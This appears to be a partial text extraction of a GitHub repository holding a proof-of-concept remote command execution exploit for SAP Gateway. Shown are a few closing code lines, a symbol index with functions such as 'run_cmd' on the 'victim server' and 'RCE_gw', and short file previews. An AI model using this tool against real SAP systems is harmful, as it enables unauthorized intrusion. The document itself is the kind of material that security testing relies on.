r = s.sr(buld_p4(conv_id))
#handle_resp(r, "F_SAP_SEND2")
# 5 - print result
print parce_answer(r)
================================================
FILE: requirements.txt
================================================
pysap
ansicolor
gitextract_1hwueb_5/ ├── COPYING ├── README.md ├── SAPanonGWv1.py ├── SAPanonGWv2.py └── requirements.txt
SYMBOL INDEX (21 symbols across 2 files) FILE: SAPanonGWv1.py function parse_args (line 13) | def parse_args(): function convert_ip (line 28) | def convert_ip(ip_1, ch): function iptohex (line 34) | def iptohex(ip): function net_get_ip (line 46) | def net_get_ip(): function run_cmd (line 74) | def run_cmd(): # execute cmd on the victim server function RCE_gw (line 81) | def RCE_gw(): # RCE via GW function RCE_gw_for_old_sustems (line 92) | def RCE_gw_for_old_sustems(): # RCE via GW for old systems ~640 function exploit (line 101) | def exploit(cmd, param): # create RCE request function trim_r (line 116) | def trim_r(str): # trim a trash form the server response function send_req (line 133) | def send_req(s, message): # send requests function space_fill (line 142) | def space_fill(inpt, what): # fill packets by \x20 FILE: SAPanonGWv2.py function build_p1 (line 42) | def build_p1(ip, inbr): function build_p2 (line 58) | def build_p2(): function buld_p3 (line 119) | def buld_p3(conv_id): function buld_p4 (line 361) | def buld_p4(conv_id): function print_error (line 482) | def print_error(error_msg): function gw_connect (line 499) | def gw_connect(gwhost, gwport, init_packet): function init_logger (line 511) | def init_logger(logname, level): function handle_resp (line 524) | def handle_resp(r, pkt): function parse_fields (line 532) | def parse_fields(pkt, lines): function parce_answer (line 544) | def parce_answer(r):
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (66K chars).
[
{
"path": "COPYING",
"chars": 17991,
"preview": "\t\t GNU GENERAL PUBLIC LICENSE\n\t\t Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc."
},
{
"path": "README.md",
"chars": 1735,
"preview": "## What is it?\n\nThis PoC exploits an ACL misconfiguration in the SAP Gateway (port\n33xx) that leads to a Remote Command "
},
{
"path": "SAPanonGWv1.py",
"chars": 19025,
"preview": "#!/usr/bin/env python\n\n# Dmitry @_chipik Chastuhin\n\n# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04\n# exploit for SAP "
},
{
"path": "SAPanonGWv2.py",
"chars": 21331,
"preview": "\n#!/usr/bin/env python\n# Dmitry @_chipik Chastuhin\n\nfrom pysap.SAPRFC import SAPRFC, SAPRFCDTStruct, SAPCPIC, SAPRFCTHSt"
},
{
"path": "requirements.txt",
"chars": 15,
"preview": "pysap\nansicolor"
}
]
About this extraction
This page contains the full source code of the chipik/SAP_GW_RCE_exploit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (58.7 KB), approximately 20.2k tokens, and a symbol index with 21 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.